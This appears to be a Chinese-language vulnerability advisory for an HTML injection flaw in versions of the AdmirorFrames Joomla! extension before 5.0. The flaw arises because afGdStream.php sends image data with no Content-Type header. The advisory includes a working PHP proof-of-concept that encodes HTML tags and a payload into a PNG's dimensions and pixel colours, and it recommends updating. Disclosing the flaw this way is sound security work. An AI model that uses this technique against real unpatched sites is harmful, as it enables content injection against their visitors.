AdmirorFrames Joomla! 扩展 < 5.0 - HTML 注入
AdmirorFrames Joomla! 扩展中的 HTML 注入存在于 afGdStream.php 文件中,该文件在发送图像数据之前未设置 Content-Type 标头值。这导致 PHP 发送此标头的默认值(text/html),并使图像数据被解释为 HTML 文档。
以下示例 PHP 脚本生成一个 PNG,其宽度和高度字段设置为 <s> HTML 标签:
<?php
$_payload="AAA";
if(strlen($_payload)%3!=0){
echo "payload%3==0 !\n"; exit();
}
$_pay_len=strlen($_payload);
echo "LEN: $_pay_len\n";
$width=0x733e; //<s>
$height=0x3c;
$im = imagecreate($width, $height);
$_hex=unpack('H*',$_payload);
$_chunks=str_split($_hex[1], 6);
for($i=0; $i < count($_chunks); $i++){
$_color_chunks=str_split($_chunks[$i], 2);
$color=imagecolorallocate($im,hexdec($_color_chunks[0]),hexdec($_color_chunks[1]),hexdec($_color_chunks[2]));
imagesetpixel($im,$i,1,$color);
}
imagepng($im,"example.png");
浏览器渲染 example.png 概念验证文件的结果:
概念验证
此问题是由于使用了 Content-Type 标头的默认值所致。此问题已在 AdmirorFrames Joomla! 扩展 5.0 版本中修复。
< 5.0
将 AdmirorFrames Joomla! 扩展更新到 5.0 或更高版本。